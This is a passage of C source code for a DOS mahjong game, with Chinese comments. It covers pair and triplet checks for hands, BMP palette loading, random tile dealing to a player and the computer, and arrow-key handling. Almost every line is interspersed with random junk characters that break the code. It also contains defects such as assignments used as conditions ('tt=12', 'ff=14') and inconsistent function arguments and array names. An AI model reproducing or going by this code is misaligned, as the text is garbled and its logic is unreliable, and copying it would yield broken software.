  m8 x/ Q  F2 w( j# L! Cif(istwo(test))( E) E7 @6 z2 |; s% g  ?
{ ill=0;: u' B+ E$ h# n- s
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
0 n* e# E$ J8 O) G' c4 Y  k% F{if(kl==i)% B# u+ ^' R) G" R1 T& H
{
: U( ]% D+ [0 T# L. `kl=kl+2;/ t+ p4 t0 H2 Q3 I  r
if(kl==8)* s' c3 {# N( {2 ]# n  i. K6 H
break;, Y7 w3 s7 @$ c& J% A& q3 t$ Z
}
; z3 X, a; T" H! _test[ill++]=pt[kl];
4 l0 R% @3 b7 V- H& q6 i" Y}2 o8 p. t1 F4 l# O) T& `' D; ^
isthree(test,tt-2);
1 h1 y: P: U) k4 X! f5 }( T. L}# \* X$ a' M5 @- s- |
} ! v8 a! b8 u9 q; v
else if(tt==9)
% L: e  d0 w8 i7 z+ {# W" G) Uisthree(pt,tt);* Q5 J% Z& C! ^  u7 D3 U  e
else if(tt==11)" I# R: M7 e6 R  i( k3 e+ D+ }
for(i=0;i&lt;10;i++)' f, k( a- E7 y( w4 V7 i
{* l0 U( k7 [( [  `) ?
for(j=0;j&lt;2;j++)
1 R, Q# r0 ^. q/ [* k( a# G: V{test[j]=pt[i+j]; 5 e2 m$ `0 z) h6 ?7 @, }! n- e$ d
}, V2 p( x) n1 w( Z6 l
if(istwo(test))
7 I8 j( N2 Q( w: y{ ill=0;7 K# ~- k1 H( x* l5 y+ [. T! u- G
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*// `2 A. V+ g* \" C2 Y3 o
{if(kl==i)
; o, ?# ?7 l: V$ N0 i; E{6 f6 R0 u4 Z- K" k& ?
kl=kl+2;0 m; h# k8 T; a3 I
if(kl==11)
0 L! h. \; k& c  obreak;8 }- J6 A0 z, @  A" J
}- x3 e6 P; \+ i1 x
test[ill++]=pt[kl];
5 o( M% G3 ~& B1 X- ~! T}6 q) J0 n* G$ k- v8 l
isthree(test,tt-2); . j; s/ L% l# }
}
- ?8 D: ?+ D& k9 v9 n}
: n# v' t3 W1 \8 I. x/ v% g8 m/ Telse if(tt=12)/ o+ _) v" ?+ w* W  x4 Y
isthree(pt,tt);
: a: j9 X7 Q* {" U; g" P* nelse if(tt=14)
& G! N8 ^$ Y4 M8 j% g# i. @7 ifor(i=0;i&lt;13;i++)
3 Y' P2 S; O& K0 S{
% f! V; W+ w( i$ t( d) p9 y# H  f' ~. Gfor(j=0;j&lt;2;j++): m. N' I" N: k. M9 A7 H3 G7 I( T: P
{test[j]=pt[i+j];
# `. n+ I# v: N; p}
, P* T' C1 E8 s7 d$ Yif(istwo(test))
4 U6 h1 ]- [! q' F{ ill=0;
1 X2 w' }5 O8 S/ f# Mfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/$ j* }- E1 g; G
{if(kl==i)
; o5 {% X5 Q  j3 L! d; S# c4 D) x{
1 U# W  }, j% n6 u) m$ qkl=kl+2;( Q% u. _) k  ?3 j( ~
if(kl==14)
% e/ U* m8 r% v( M1 m& Y4 A" Wbreak;
/ m7 L6 t& ?; q- h+ c}6 `0 N' V0 |# U
test[ill++]=pt[kl];' n' }/ k* c( o: p: P5 P
}* a$ U' D( `( g4 ~- G& s
isthree(test,tt-2);
* `8 \! h2 I5 h}
0 a$ t* z9 j3 S6 [}* Z, @( C2 [7 |! i5 j% b' j4 W
if(ii==2)
0 s8 r) h$ F2 P" s- K) Aistwo(pi);
+ |! q4 v- Z2 N) H5 ^" c! Zelse if(ii==3)
3 w, L- P9 c* ]- ~isthree(pi,ii);
! q5 D- Q! Y9 Y6 f! E6 [3 @7 Ielse if(ii==5)
$ P  k  F* ~) W7 \/ T' P/*pi[5]原始牌数组,假设已经升序排列*/5 Z3 W7 j7 i7 i6 L3 e: Z* v& M, }
/*test[3]用来放置测试牌的数组*/
% J6 d! }. Q' v8 L1 Y6 P8 R9 zfor(i=0;i&lt;4;i++)6 p' l7 r- {, e
{$ E# P! @, v+ A( L; E
for(j=0;j&lt;2;j++)& u2 ^5 r7 r! w7 A+ z* e: g
{test[j]=pi[i+j];
( G# M& ~$ s- v$ e7 X}; h: U  M9 Z' J8 J- s$ |6 a2 ^* J
if(istwo(test))
! T: j: l2 M! ]+ T{ ill=0;
) |' F+ |" J/ a, f# L$ p1 K/ h& vfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
9 }3 J% t  ]9 p' p& B+ D1 o& `( w{if(kl==i)/ `1 D. O' a% n* v
{2 `5 y/ d' e' C6 v
kl=kl+2;
1 A2 }6 x  R, q" O. J3 t! m+ Yif(kl==5)
4 `# ?( O& N) L2 pbreak;
$ H$ Y( g8 N; @/ [}! H7 w8 C6 M  ?( Y$ g! Q! T, C
test[ill++]=pw[kl];3 Z1 [0 v4 {0 `& Y: d
}, v6 g) [& A8 M/ x, O2 R# C
isthree(test);
0 E9 f2 W3 S7 n! U: z5 \% w}
' H' a3 }; ^# n$ A* B7 {7 U}( Y) c; N1 g, s7 c: u/ G* @! m
else if(ii==6)
  t. T9 `7 v, kisthree(pi,ii); * B# r/ k+ g7 K6 M% l
else if(ii==8)
4 V+ [. w6 t# `. g. K" tfor(i=0;i&lt;7;i++)
  m2 S5 C7 x# n7 e# V" ]{
& Z" Y" a; ]/ @" o- b( yfor(j=0;j&lt;2;j++)  L2 x; [' l- P5 J8 C% a
{test[j]=pi[i+j]; # `0 r$ \) V2 O7 m1 B6 ~: a
}
  U. ^2 n8 O; C0 p+ o- w  {if(istwo(test))4 N& M1 c8 x; |* w/ k2 c
{ ill=0;3 J( j+ E1 H6 ?5 `! f! [# g; T. b
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
# G" L) ^) N6 B" Y* O- O$ p& h{if(kl==i)
+ A# X6 @% O4 T# X2 F: k* X; H$ }{
. u4 T7 |% A) Q  G; O8 Tkl=kl+2;
$ r- m+ I, C% x, Oif(kl==8). U9 O' @8 ~- u$ _+ t8 R* c$ f+ u
break;
9 b2 ]" [& R8 }5 {/ u}% o8 |* b: c: B" M. d) y
test[ill++]=pi[kl];  q( a2 E* P, L  T
}
$ d7 [# }9 S9 t  w) F2 cisthree(test,ii-2);5 |; B/ @6 B2 l: W, j  G0 K
}: x) g  q/ r+ x- i5 K% U2 @
}
( j1 X! a6 \7 `( t- N" Z' ^8 U9 aelse if(ii==9)& X. e$ A! k# s5 t
isthree(pi,ii);& r; i& S( M$ Q( ~6 a+ f
else if(ii==11)$ x9 g7 L6 J* @+ q9 B, _
for(i=0;i&lt;10;i++)
) P/ @9 a9 ?6 a, [* o3 S- n{+ D5 V3 w2 n& P5 q1 C4 e
for(j=0;j&lt;2;j++)2 e3 E; y' N2 b( n/ {: s) [1 P! j
{test[j]=pi[i+j]; / r6 l& c. |% n
}9 [- r( D) H4 b' K3 P! u/ J5 ^
if(istwo(test))) k- b  B7 l7 j  q$ P4 m3 q; X
{ ill=0;0 M& i3 w* M* J( G) I8 R
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
* |# q$ B; H4 O5 k{if(kl==i)
+ ]0 P* f( }* [# I{
% E3 F# S  R  rkl=kl+2;
& |1 p3 d4 @. |/ zif(kl==11); V6 [3 X* Y' @5 Z$ r5 u! [
break;+ x8 p/ c: q/ {: W7 `5 I4 H
}0 z( R: E6 ]7 x' X7 o$ m
test[ill++]=pi[kl];' c. f/ d6 R4 Q
}4 i' f) L9 B. ?# P
isthree(test,ii-2); ' o; ^6 w& R& {; s% C
}
8 j9 s: T' P- g& _} 3 w; n& S* @, H. D  I' C: L6 z  `
else if(ii=12)
8 o' m( k& b- M& yisthree(pi,ii);( U3 G$ V3 v, E1 B
else if(ii=14)) @( o" K& z4 A7 F1 K; |8 \4 t% Y
for(i=0;i&lt;13;i++)
) e; O6 H$ c5 t7 n5 |{2 y& F1 \( g% v
for(j=0;j&lt;2;j++)+ `: Z0 Z9 Y8 x
{test[j]=pi[i+j];
: L; b- l8 p/ u! T$ I. j}" e4 H" n6 z3 T3 u  A# G% \
if(istwo(test))2 A1 B- u+ }. z
{ ill=0;
% v# v! Y' A& rfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/) j9 q! q4 P2 E  o
{if(kl==i)
  e3 a8 j# E. @; C6 b9 O{# H6 y) d+ E1 \6 A, j
kl=kl+2;
* \8 i' k. \% S% {2 h. Rif(kl==14)0 X: S4 v4 v8 J0 ?4 i( k8 `: l: Z
break;
9 I3 X' V! ]! l1 j& c}
0 R4 a1 C5 H6 Ytest[ill++]=pi[kl];
* h, }. l3 ~1 O8 h}
  J) V1 Q& J3 n  b# _. }4 Nisthree(test,ii-2); , \- E  y" }7 q( T
}
$ C( v/ v. I$ w! a8 |8 x) z% x} * ~) ^5 q- `/ N$ G: m2 T4 k& ^
if(ff==2). ~) X) O/ h! ^6 m0 r
istwo(pf);
) W! k5 A: i7 N) ]( q% I9 {0 Telse if(ff==3)& e1 F' |! g$ p1 |$ p* k
isthree(pf,ff);8 W7 j. Q6 [* T3 k6 I! Q' T. K
else if(ff==5)
: F( P& |! T+ L* \/*pf[5]原始牌数组,假设已经升序排列*/
% ~" d, d4 H, u3 ]/*test[3]用来放置测试牌的数组*/
- f0 q) ]# j1 _for(i=0;i&lt;4;i++)
- k* y; d& P8 a{$ l6 j" H; Z- z) f& O5 c
for(j=0;j&lt;2;j++)
% M5 ?! t: S' v' e% Y9 i{test[j]=pf[i+j];
& l4 x/ v, V( f) g  ^}
$ F2 ~2 K) Y: ^" ]+ f8 [# ?& g! H. lif(istwo(test))
& L; Y, J6 ~% q" k{ ill=0;
( S2 k7 F$ d: p- `for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/& l! @8 X9 t& X$ V/ Z0 q
{if(kl==i)- s6 s# w" ~8 }4 G9 D
{
+ k! v' E" }9 N+ Y4 rkl=kl+2;
! t: q2 z; a) O: nif(kl==5)/ c9 v3 r7 M( s$ @* Y
break;6 I# e6 M% E& D% g
}. T# n4 x$ `# `, l
test[ill++]=pf[kl];
- @  ?* C: l8 h  C2 g1 ]" K}
/ c1 |4 k6 e; c& Risthree(test);
, t( E' ^" D( b7 Q4 X+ s' x9 |}
# ?8 h5 j* f, z0 L: r( Y}
  A3 P5 _' h9 Y' r8 gelse if(ff==6); m( t6 Y- d1 S4 e9 T/ v, J
isthree(pf,ff); 7 y' ~2 |. `$ F. y  I
else if(ff==8)6 y" C0 O  @% O6 v; A
for(i=0;i&lt;7;i++)
, I; F- w- C- ^" I{9 a2 q; F( g& i4 T2 a9 ]8 l
for(j=0;j&lt;2;j++)
8 S" i$ F0 m7 g{test[j]=pf[i+j]; 5 B$ K8 j, E$ H/ G6 f3 B
}
! _. F% o, R& kif(istwo(test))3 A& c& g" I/ w$ C
{ ill=0;
+ B& N+ V' `* R# u: f; ]! O0 Pfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/7 Z' E4 \4 O0 X3 m4 p) l, W* i+ D
{if(kl==i)4 U: B( W1 e* V# ?. }& z2 R
{
% E  D! u, r. v. w" skl=kl+2;* U  \6 {* ?% Y
if(kl==8)& {9 w. s0 o8 |( Y$ A; Y
break;2 v6 `$ N- A  A2 @6 S4 D! X8 ?& a
}$ q0 C3 ]" Y  V1 m: s
test[ill++]=pf[kl];; P1 s! r# x  u6 P" {4 ^
}
/ U  y  a" a0 n; V$ h' p4 ]isthree(test,ff-2); ' U/ y" P  v! ^  _6 C1 O$ i/ I
}
3 h" Y3 B  g6 v7 t$ C! d# m* O( M! o}
' V+ @8 K) `. I5 g, R8 S9 e/ ?, Lelse if(ff==9)
5 p! @9 A+ Z2 ~! K: fisthree(pw,ww);
2 S. V' l5 N7 ?6 Zelse if(ff==11)# i& x4 M, r  P0 l& f7 \2 v
for(i=0;i&lt;10;i++). p% L1 [3 `' @( u- Z
{+ f, u( J3 V6 l8 b0 i% P, w* H
for(j=0;j&lt;2;j++)
% `* ?: j( U$ m2 R7 L0 }0 [{test[j]=pf[i+j];
0 k. j# `* E* @$ \% m- V}
8 Q) {8 A4 A9 M$ U, _6 Pif(istwo(test))
1 T! }" D- U3 j4 Q1 t& v2 B+ w' ?{ ill=0;. f) Q$ [! R! e0 ]$ O$ Q+ a+ q
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
" _# q/ O! N, f3 w$ d: [$ y{if(kl==i)
; L3 q( A8 B% d1 z4 ^$ w{3 X! a$ N5 Z5 T1 d6 h. {
kl=kl+2;3 e0 p+ p# }' H" _; h& J
if(kl==11)
2 R5 l5 T9 P+ d9 Abreak;, w, g0 [  l2 j, h
}
% X3 a8 s2 p7 l# rtest[ill++]=pf[kl];
$ g4 u: H  q. m) h}& q! U; K9 Z& V0 i
isthree(test,ff-2); 3 c2 Z1 @9 C9 u- ~
}
! B  _7 {$ ~6 ?}
% m2 [) [+ Z: p, C$ x' kelse if(ff=12)3 k8 T" y; I& C: v
isthree(pf,ff);
0 d( Q0 Q" ^1 f: Z* n6 Nelse if(ff=14)
4 e4 E/ V/ M8 [  u( n+ [+ kfor(i=0;i&lt;13;i++); m+ c5 d5 t" u$ @, h0 G" S% o" Z* d
{! ]2 [% @7 h: V& _+ X! F+ y
for(j=0;j&lt;2;j++)
. v2 S3 `9 g, I  y" K- \7 l4 T$ X{test[j]=pf[i+j];
( A, |+ h* Q2 [/ Y/ W0 ^- E}4 J8 m' N2 B+ H, n
if(istwo(test))" _  ~. n. j, b
{ ill=0;
3 A, v% ~' O7 |, c; S6 {% kfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/* R5 j* L7 w! s$ N5 Q) M4 z
{if(kl==i)
9 N& ~% M- \* q{0 z8 @- G' [& V/ x! q. @. N
kl=kl+2;
) `4 Y& H6 a* a6 S. Z/ `5 dif(kl==14)5 m1 `) `" h, T9 R, z4 u
break;. o# ]# L' q8 R& E; e
}
3 J/ P4 e) ]& |# j8 o2 B3 `test[ill++]=pf[kl];" r# w+ _( J" |0 u" c
}# U: Q3 |9 J9 u$ g( g. }. c. i
isthree(test,ff-2);
& L6 a, {+ d$ f5 M}; m' ]1 c, J5 o% N
} " J' k5 q! o6 k
}, a! Q+ b. j( d1 E8 w: W/ i
void main(void)
. G6 m$ v$ m0 D; f{
6 z$ N3 a; K# M1 q+ Y6 c7 dFILE *bmp;" ?' a( L; q3 V* h& E- B" Q+ b
static char *name[2]={"ff.bmp","logo.bmp"};7 R  s6 C) `9 a4 J% B
char *p;
7 c& U7 N1 U5 l! h2 z# g: Hint *lingshi;
, Z9 e9 ]) F" j6 Oint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
4 v: \; R% Y5 W" Qint every=0,w=0,x1,x2,y1,y2,every1=0;( K1 R8 n8 w; R3 J) w" ~) t
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;$ Y- r7 I+ u0 _* f- j
BYTE palette[256][3];
: c: e9 ^% `% C9 Q: R9 }9 pSETVGA;
2 A0 P# |$ J/ Cgetch();
# v5 w3 o' b5 k1 U! fwhile(t--)
+ W5 M# G. s3 ~4 p. @6 i4 i8 ~% e/ |5 b{/ m& q, w, g5 H% V/ j
bmp=fopen(name[t],"rb");
8 _' t* q1 N! z: U8 C2 y9 Pfseek(bmp,54,SEEK_SET);* J# U9 i* F' G; @) r+ N1 [* d- J
for(i=0;i&lt;256;i++)
9 C2 h, t& x: w# o" V' H{
& ~, Q* w. |: F7 p/ t! }$ H8 Z# X+ Tpalette[2]=fgetc(bmp)&gt;&gt;2;4 l  y5 b0 v; T
palette[1]=fgetc(bmp)&gt;&gt;2;
) X# K  Y9 o( wpalette[0]=fgetc(bmp)&gt;&gt;2;+ D) d6 U# \6 m  |1 l
fgetc(bmp);
7 T: @# i, M1 {$ @1 V$ u0 ISet_Palette(i,palette[0],palette[1],palette[2]);! G9 n# X6 x# {9 U  Z; E
}
" [4 |8 n" a9 j, [$ {5 ifor (y=0;y&lt;200;y++)  C6 f1 m: p" w
for(x=0;x&lt;320;x++)# P7 b( @- K1 M4 O9 ]- s
pokeb(0xa000,y*320+x,fgetc(bmp));
2 g! z4 P/ a- xfclose(bmp);. F0 f7 n; T1 I
getch();( ?8 t9 d) @5 _  n) p
}
7 f' Z- d1 ]$ ?9 m9 J$ agetch();7 p# F5 @4 @+ i& g1 x7 [/ r3 X
fillRectangle(0,0,320,200,0);$ _0 j0 ?* ^. H$ T5 C, R
getch();
2 `- `' j( Y) c" s5 m. A8 r% {randomize();
: `$ S- r; r* j  C. N6 zme.m=onetothirteen;9 Z) X; a" A4 z3 l: ?
while(me.m&gt;0) /*先循环,给自己拿牌*/1 u7 z; h; T0 G" e" I2 N- i; ^% G
{
' `  |2 I. U$ r5 k
. t! c, \. ^* f+ G2 f6 a$ N* P- Otemp=random(136);" o1 X# {% o! _" ?! H( [( F! E
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
1 P$ m# B% O! O/ |{4 n2 o, S! w2 Y! r1 \
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/3 X6 v3 I, W, |& ]+ {2 [
me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*// O. |- f% w+ d$ I0 [
me.pp[n].number=temp; /*第几张,用来排序*/
) L/ ?) b' L9 B" c* }m[temp].data2=1; /*判断牌是谁的*/  w5 A& d% Q  @* ~
kk=1;
+ n9 q$ h8 J6 l9 [  y' c}* B% ?) r/ N' m! a' C+ ~
if(kk==0) /*判断如果又选择了,就从新再选*/
7 |! H' m, m4 c0 J9 j{ 1 Z1 s/ r( t" e3 e  h0 R& n( m
me.m++;( y& @' [/ `5 U6 d3 S  F
n--;! D" I" G  E- ?* X
}
5 Y& r: p3 k- V- U9 {9 E/ w; Xme.m--;8 z: _0 T0 s: Z' f( c
n++;4 e7 c" I! x- j# p* p8 Z  K
kk=0;
) K; E5 d7 Z3 _; E2 ~1 [* B}
6 v, z' g* U5 @, @1 q1 K/ vme.m=12;
. e# k! Y- M3 j0 X; Gmelipai(); /*理牌*/6 {6 ^4 G* t$ Q6 E
- L, z( E' ~# F8 [* C4 U2 l* S' a# n
n=13;& D. P# @  E( i* Q! V  F
while(l&lt;n)
/ N% x# I. D9 t/ F, ~4 x{
' [; `% K/ {! o) A( t/ @z=z+20;
& T0 X( a; M" v! B" Y5 x6 ~" V( I( d8 e: xshowbmp(l);: V' V% Y) e/ L- q( [
l++;
1 D+ d; D; }" {# C% l: ~" X4 x. e( Z3 e
}( k/ a5 ~. h# r+ i! p+ Z
randomize();- \: j! b1 M7 k1 `( }
computer.m=oneorthirteen;' ^: H6 @/ J: h& R7 z- g- K
n=0;
5 |. h" n/ Y! R/ l. twhile(computer.m&gt;0) /*循环,给对方拿牌*/" Y# Q. @0 A& @% S& w
{
/ q* [& d2 L  {. N- qtemp=random(136);
' F/ x- a8 a  k3 A' Eif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)) U* N& r# A9 |2 `( S7 L
{" a: _) B+ A* ?; x
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/) P' R: R! g8 I+ {/ r  u
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
# H, F: p1 x' P$ x* Mcomputer.pp[n].number=temp; /*第几张,用来排序*/% |3 U( M9 b7 m  Q  H
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
% r7 G" \+ g3 `  y2 p  ikk=1;! \1 n3 I" N/ g# g" ]
}
) h% Y: ?3 N" I6 G8 X& X* o( e4 fif(kk==0) /*判断如果又选择了,就从新再选*/
7 V, ^  Q$ Z: v4 S! B. }{ : m$ g; B+ l' s* H1 o
computer.m++;
1 P" B: J5 a. s/ ~/ J5 E3 n, ?9 zn--;, M9 n. y7 R4 t# ~
}
* @  C$ Y5 m: P6 {. Q/ Ccomputer.m--;; A+ D" W4 J. g* D6 g
n++;. E! m, m( _, z+ _7 t$ y
kk=0;$ @8 P4 T7 j* t- [+ a1 e5 F4 z
}" y" u, S2 v4 L# ]/ U$ _
computer.m=12;
, ^# j& z8 }0 \& @# k' G) s; t) xcomlipai(); /*电脑理牌*/
  S' j, s3 P- B- k, Kn=13;
, @6 Y4 b3 U. @2 X1 D3 {6 ]' o" Lwhile(ll&lt;n)
8 @7 X2 G! A2 N: u{
0 M. M: Y6 l( t5 d! yzy=zy+20;/ E$ D% y! C8 g1 z* L4 T
showybmp(ll);: U+ w2 ]: [! k$ p' |7 Y+ [
ll++;
) H- V/ I. Z: Z9 ~1 `$ C; d2 {( g# w}
" o! F7 H0 V- [5 e" b7 F& ?" a% ~/ k, }, ^1 z
z=54400;/ A3 E- @( `, X- [2 V6 e
while(key!=ESC); h# P7 Q# I; L: ^8 `) k; ?
{ # k* J( p$ @, {( k

- D3 K' K3 Y- E/ C4 v- r# t4 pkeyy=bioskey(0);
2 r$ Z+ W' P* Mif(keyy==LEFT)
/ v" ?: n1 I0 V5 G. d1 X5 _* d{ w=1;
# F3 I( C4 d2 [* y7 k9 C+ V  bif(every==0)+ m0 C; t3 v5 A5 X* E* {2 q
{& U- L2 Z. l( D
every=1;; J7 e: o" @, F' S" Y4 G7 ]
z=54440-5*320;
% `5 O4 N" g9 X5 Z3 }. g
' z  F1 O" @% n8 Q6 w}
* ~  M# I+ m% e/ n" Xzz=zz+5*320;
9 ]4 N2 D, O/ K+ @+ sshowbmp(every);
1 h6 _- ?# F/ `) D, E6 t" bif(every==0)
2 `! l+ x" H# v# r% P- p' |{8 g+ e0 [8 G( F$ }5 {# O6 x
x1=20;
4 p; o4 B; O6 W: z6 W6 ly1=165;
4 C8 h- S# i5 M5 EfillRectangle(x1,y1,x1+20,y1+4,0);4 u1 p+ H$ V7 i) G3 D: x4 Q* w
}
# l. H6 Q) m7 n9 `& }  B6 iif(every==1)
: s& a8 }! C1 S& _5 X2 H0 n{9 V. b) {- M, s* t% C+ v4 R- _
x1=40;
# ?" ^  q3 k& \: H$ ?y1=165;
0 B' l; Q" ^7 q$ Y+ B( wfillRectangle(x1,y1,x1+20,y1+4,0);
/ O# y3 V/ S' a' C4 w' V}
/ B4 K3 }/ }0 k6 S5 Z% z! Wif(every==2)5 @. m* m$ P' ^$ y
{) \- Z9 R$ [+ F; u' F$ ]/ `
x1=60;# p8 I  P1 N+ _% t: f
y1=165;9 v: t* K! U5 q9 d! P0 R
fillRectangle(x1,y1,x1+20,y1+4,0);: N" P6 _1 w0 \1 f
}8 s, c" X5 [  }. G4 Q! n7 a5 G
if(every==3)
" L) `% b# i& v4 T( P{5 G  f7 l# ]% j5 p  k, S' z
x1=80;6 T+ R- O( E* q: c2 ?. L- f
y1=165;5 o7 t+ h9 |4 @/ @1 ?1 f
fillRectangle(x1,y1,x1+20,y1+4,0);4 r2 l6 w9 s+ S5 s" C
}
2 b- y% Z6 n1 C+ ]if(every==4)" K* J* ~2 k, P' K
{1 C& c" ]6 O" |, k8 F
x1=100;
0 Q# P% J  t& l* V. [4 g5 wy1=165;% _. n) c9 ?) N) f  o  I/ t' `
fillRectangle(x1,y1,x1+20,y1+4,0);
* k5 \/ ~4 `, @. N/ x}* h! @! a  J& a+ w8 x4 D) @. D: K2 q
if(every==5)2 k+ {. `+ p) m- C2 c
{# L9 _% d, l7 f9 x; T9 q
x1=120;3 u8 v& `; G7 A3 B: c( t( j% _( e
y1=165;5 i' B1 K1 G# s6 K7 U. O" {1 l
fillRectangle(x1,y1,x1+20,y1+4,0);& J* {, {4 y8 Y2 G
}
) h6 J9 F' |+ {9 R$ a. b& Z2 Lif(every==6)6 l  G# N0 U9 b/ h4 Y- J
{  [4 K4 F* v1 E$ Z# z+ m* x; A
x1=140;5 T# d0 O' ]# a0 b( d# [9 u
y1=165;0 K5 h3 s3 |8 l
fillRectangle(x1,y1,x1+20,y1+4,0);/ q' M3 ^" d! u  N
}) m% G& e* M) w! `
if(every==7)4 r; ]9 B$ D1 A
{
" g# N) b+ U' ^  Mx1=160;
. U- T6 X9 o2 L" M( z/ g2 Cy1=165;
! p) v- O, ?) k$ V5 _3 H/ OfillRectangle(x1,y1,x1+20,y1+4,0);, z! q4 x1 G) i) e' h* \
}
/ r' D* f* R$ Vif(every==8)
# y- M/ p& S  h- d. C+ L{. a; T7 z2 U) w( P5 X3 W3 n
x1=180;3 P8 q. x; a: k4 q6 u
y1=165;
* ^5 o1 G. e/ r6 Y1 z; D) I! ZfillRectangle(x1,y1,x1+20,y1+4,0);+ v* d8 _& j& b9 V  D
}
5 t2 K% M/ S! Z1 m, hif(every==9), h( U( X: y6 R" J3 f" T
{1 D: y0 \7 h1 Y5 G4 b
x1=200;
, K7 v& B# Q* y# K+ ky1=165;) |0 d$ q, |+ ~$ ?7 V& ^
fillRectangle(x1,y1,x1+20,y1+4,0);
& R; o! y% Z7 Z  o, K% M& t+ I}4 t3 ?0 U. @) x# ^* b, N: }3 i
if(every==10)
& c* S, R2 X% @; w: B{
2 `& N- D+ U6 `; ?# }3 j0 ^% cx1=220;  ]. Z4 K; m6 J
y1=165;
* F# r/ T. t. g; E' I6 ^6 `1 CfillRectangle(x1,y1,x1+20,y1+4,0);
/ f% H3 P# A5 V! x3 \6 w% k$ D}! _+ C7 h' r% M  m$ [
if(every==11)
! y% i$ u8 A$ Y0 ^# P3 z1 {) j{
: }: Z( O$ Q* y- S' ^, g4 L0 Zx1=240;# o7 X# H& `4 T$ ^1 a# O9 m
y1=165;
& S* k: u% Z, p+ z( sfillRectangle(x1,y1,x1+20,y1+4,0);
1 ~6 o3 ^' h" V2 f1 _( a}
% d4 M% _+ H% d2 ^3 |/ xif(every==12)
3 t, c) F$ K6 H" \, [' M, E9 i{
$ }  j* ^5 Z  P$ r6 A3 s' m& f+ l. sx1=260;
" i; i1 \4 j' ny1=165;
+ O) R$ R. L/ w# h! N$ p$ {* ]fillRectangle(x1,y1,x1+20,y1+4,0);) C# R8 K* S# }5 W, |; s/ ~
}2 ^# I" E  G( {4 ]8 }
zz=0;$ ~* N% a6 ^4 T: n" j  @
every--;' S1 D. B" c1 b, G$ Y$ U; M
z=z-20;
# ^7 [/ Q1 W7 |5 j}$ d5 t* X2 M3 m" L9 C5 w
if(keyy==RIGHT)
# n4 I" s! j2 k6 S* W7 y{ if(w==0)" h0 `0 `. `1 z* V
{( [$ u2 s  \8 a; F! N! g& U7 ]% N
z=54440-5*320;( f1 _# E$ D( h; }. ?
z=z-20;
+ p& C. y0 D# A/ Q0 tw=1;' ~+ n) F& ]/ Y
}. Y; j$ R& E" r& _' H$ ?
if(every==12)
& c6 U' \3 p7 L# A{6 ^  C6 Q( f7 u& P5 a7 g9 m" j3 V3 \
every=11;
( ?9 y3 ~3 T: c2 c/ w* y8 gz=54640-5*320;
) n3 a/ J6 U- x; \  V# K$ E}( c( h/ J- H+ A" Q0 G; k. P
zz=zz+5*320;
1 b7 U5 t+ a, p1 F, v* Oshowbmp(every);
+ T% H- ^4 H8 J7 k* Xif(every==0): D4 i+ V" L* a1 |
{
5 W& V" c2 p+ e2 Sx1=20;8 |4 C5 O. Y2 y; A
y1=165;! A& \- s3 B3 L9 \- j4 V
fillRectangle(x1,y1,x1+20,y1+4,0);4 Y9 r! X' F- l( }: Y, s
}
9 e5 i" ~5 }/ Y' [if(every==1)! A- T: w0 T' C  `8 o$ D" H
{: |# h- ^$ h6 Y% r# |
x1=40;) z8 x2 R+ t9 ~* d- r8 g( k1 f( i
y1=165;3 t( m$ k, W! n- O) B/ X2 k/ z
fillRectangle(x1,y1,x1+20,y1+4,0);
" ~7 m$ A2 a* s& T4 A$ X9 H; ]}6 }' E' G: Q) q7 K
if(every==2)
* c( n- H* _0 {" d{. `* P1 u. X8 v+ B
x1=60;
' d; I8 U7 N3 V  K4 p. ?y1=165;' F5 t$ ^& k1 h5 ~. g5 g4 L
fillRectangle(x1,y1,x1+20,y1+4,0);
6 Q, P! C& @9 ^/ g# [  K4 z' O}
' R( ]' e- `+ G' Y3 N( g/ J# aif(every==3)6 G* i% G$ u3 l6 I. c- h% L/ c4 H
{% m- u8 H  ]$ E! [9 U$ L3 F4 R) D
x1=80;
6 K8 P" T2 }  d; Xy1=165;2 E! Y3 H) _" \* c! S! V
fillRectangle(x1,y1,x1+20,y1+4,0);
, X1 K4 |* p% c$ l}8 E+ A% R8 Q- r$ R
if(every==4)
. {) n# r3 n7 u+ n1 a1 s) f{
" `* Z, F$ C. }# A) Q: sx1=100;* w5 n  G6 }4 y
y1=165;
" K# H3 w, {& v0 Y  afillRectangle(x1,y1,x1+20,y1+4,0);
2 C: `& F7 g/ F  x" E2 C}; ?6 H' K: U/ ?" i& I1 O
if(every==5)5 H  ?. Z2 ?- }* L& U9 |
{
2 H3 x( S$ l# x* nx1=120;2 T; O1 a: r2 G4 T- }" q! u
y1=165;
( K4 I& ~- R2 V' }+ GfillRectangle(x1,y1,x1+20,y1+4,0);( p7 b+ j) j$ h
}
. ]" j6 a& n: uif(every==6)! |0 }( \9 \8 _; ?  H5 U
{) A, B* A/ u0 I2 @! t2 W
x1=140;
0 @! W( u( i% ^- C9 r; hy1=165;
7 e' M+ j+ ^6 vfillRectangle(x1,y1,x1+20,y1+4,0);/ ~* C, U/ n! k9 o
}
) D5 T3 R* A3 j7 S& bif(every==7), r% C4 }- t  s& P. D! x: [6 [
{0 w4 J3 c" A5 ^$ Q. y6 `; n
x1=160;
! S& h' ]5 e, u* P1 @3 r5 o6 By1=165;
